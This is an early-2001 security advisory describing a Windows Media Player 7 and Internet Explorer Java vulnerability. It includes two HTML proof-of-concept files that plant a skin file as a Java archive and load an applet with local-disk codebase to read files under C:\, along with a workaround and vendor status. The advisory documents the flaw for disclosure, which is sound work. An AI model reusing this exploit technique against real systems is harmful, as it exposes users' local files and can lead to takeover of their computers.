Windows Media Player 7 and IE java vulnerability - executing arbitrary programs

Systems affected:
Windows Media Player 7 and IE

Risk: High
Date: 15 January 2001

Legal Notice:
This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute it unmodified. You may not modify it and distribute it or distribute parts of it without the author's written permission.

Disclaimer:
The opinions expressed in this advisory and program are my own and not of any company. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or  indirect use of the information or functionality provided by this advisory or program.Georgi Guninski bears no responsibility for content or misuse of this advisory or program or any derivatives thereof.

Description:

There is a security vulnerability in Windows Media Player 7 exploitable thru IE and java which allows reading local files and browsing directories which in turn allows executing arbitratrary programs. This may lead to taking full control over user's computer.

Details:

The problem is WMP skins are installed in a known directory and with a known name:
"C:/Program files/Windows Media Player/Skins/SKIN.WMZ" : <IFRAME SRC="wmp2.wmz"></IFRAME>
will download wmp2.wmz and place it in "C:/Program files/Windows Media Player/Skins/wmp2.wmz".
wmp2.wmz may be a java jar archive. The following applet tag:
--------------
<APPLET CODEBASE="file://c:/" ARCHIVE="Program files/Windows Media Player/SKINS/wmp2.wmz" 
CODE="gjavacodebase.class" WIDTH=700 HEIGHT=300>
<PARAM NAME="URL" VALUE="file:///c:/test.txt">
</APPLET>
---------------
will be executed with codebase="file://c:/" and the applet will have read only access to C:\.
 

The code is:
 

--------wmp7-3.html------------------------------------------------ <IFRAME SRC="wmp2.wmz" WIDTH=1 HEIGHT=1></IFRAME> <SCRIPT> function f() { window.open("wmp7-3a.html"); } setTimeout("f()",4000); </SCRIPT> ---------------------------------------------------------------------

 

--------wmp7-3a.html------------------------------------------------ <APPLET CODEBASE="file://c:/"  ARCHIVE="Program files/Windows Media Player/SKINS/wmp2.wmz"  CODE="gjavacodebase.class" WIDTH=700 HEIGHT=300> <PARAM NAME="URL" VALUE="file:///c:/test.txt"> </APPLET> ---------------------------------------------------------------------

Workaround:
Disable Java.

Demonstration is available at: 
http://www.guninski.com/wmp7-3.html

Vendor status:
Microsoft was contacted on 11 January 2001.